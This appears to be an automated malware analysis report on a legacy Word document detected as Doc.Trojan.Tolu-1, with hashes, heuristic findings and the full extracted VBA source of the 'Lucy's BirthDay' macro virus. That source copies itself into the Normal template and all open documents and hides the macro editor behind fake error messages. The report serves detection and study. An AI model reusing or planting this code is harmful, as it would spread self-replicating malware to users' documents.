Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b17ca11d3f39e17…

MALICIOUS

Office (OLE)

28.5 KB Created: 2001-03-16 13:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 95671ef7c166773c9a198d8d9f72528e SHA-1: 4aebdf5e04cf09ddb19e087848bda25aab5fe306 SHA-256: 7b17ca11d3f39e175413ad6fa9348d9bfa32b2bf03c9228419e85f654d33d74f
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen, AutoClose, AutoExec, and ToolsMacro. The AutoExec subroutine contains a conditional execution based on the day of the month, displaying a fake message about a sister's birthday and scheduling itself to run again. The AutoOpen, AutoNew, and AutoClose subroutines all call AutoOpen, which attempts to copy a macro named 'Lucy' from the active document to the Normal template and then to all open documents. This suggests the macro is designed to spread and potentially execute further malicious actions.

Heuristics 6

  • ClamAV: Doc.Trojan.Tolu-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Tolu-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .OrganizerCopy Source:=orig, Destination:=dest, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1300 bytes
SHA-256: 7b22ccd4663fae40f08b6f7ebbc14174134c23ea6130b2c1cfec7fd50460f915
Detection
ClamAV: Doc.Trojan.Tolu-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Lucy"
Sub AutoExec()
If Day(Date) = 8 Then
 Set Luz = Assistant.NewBalloon
With Luz
.Heading = "-   HackerNet say's   -"
.Text = "Today is the day of my sister's birthday don't forget ..."
.Animation = msoAnimationGetAttentionMajor
.Show
End With
Application.OnTime When:=Now + TimeValue("00:03:00"), Name:="AutoExec"
End If
End Sub
Sub AutoOpen()
With Application
orig = .ActiveDocument.FullName
dest = .NormalTemplate.FullName
On Error Resume Next
.OrganizerCopy Source:=orig, Destination:=dest, _
Name:="Lucy", Object:=wdOrganizerObjectProjectItems
For I = 1 To .Documents.Count
fls = .Documents.Item(I).FullName
On Error Resume Next
.OrganizerCopy Source:=dest, Destination:=fls, _
Name:="Lucy", Object:=wdOrganizerObjectProjectItems
Next I
End With
End Sub
Sub AutoNew()
AutoOpen
End Sub
Sub AutoClose()
AutoOpen
End Sub
Sub ToolsMacro()
x = MsgBox("Can not find application", vbCritical)
End Sub
Sub ViewVBCode()
ToolsMacro
End Sub
' VirusName =    Lucy's BirthDay
' I'm HackerNet.